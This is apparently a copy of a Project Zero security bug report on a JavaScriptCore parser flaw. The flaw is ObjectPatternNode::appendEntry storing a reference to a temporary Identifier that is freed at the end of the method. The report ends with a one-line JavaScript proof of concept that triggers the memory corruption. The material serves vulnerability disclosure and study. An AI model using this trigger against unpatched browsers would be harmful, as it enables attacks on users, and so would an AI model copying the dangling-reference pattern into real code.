25 lines
No EOL
842 B
Text
25 lines
No EOL
842 B
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256
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Here's a snippet of ObjectPatternNode::appendEntry.
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void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
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{
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m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
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}
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Here's the definition of Entry.
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struct Entry {
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const Identifier& propertyName;
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ExpressionNode* propertyExpression;
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bool wasString;
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DestructuringPatternNode* pattern;
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ExpressionNode* defaultValue;
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BindingType bindingType;
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};
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The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.
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PoC:
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var {[a]: b, ...[]} = {}; |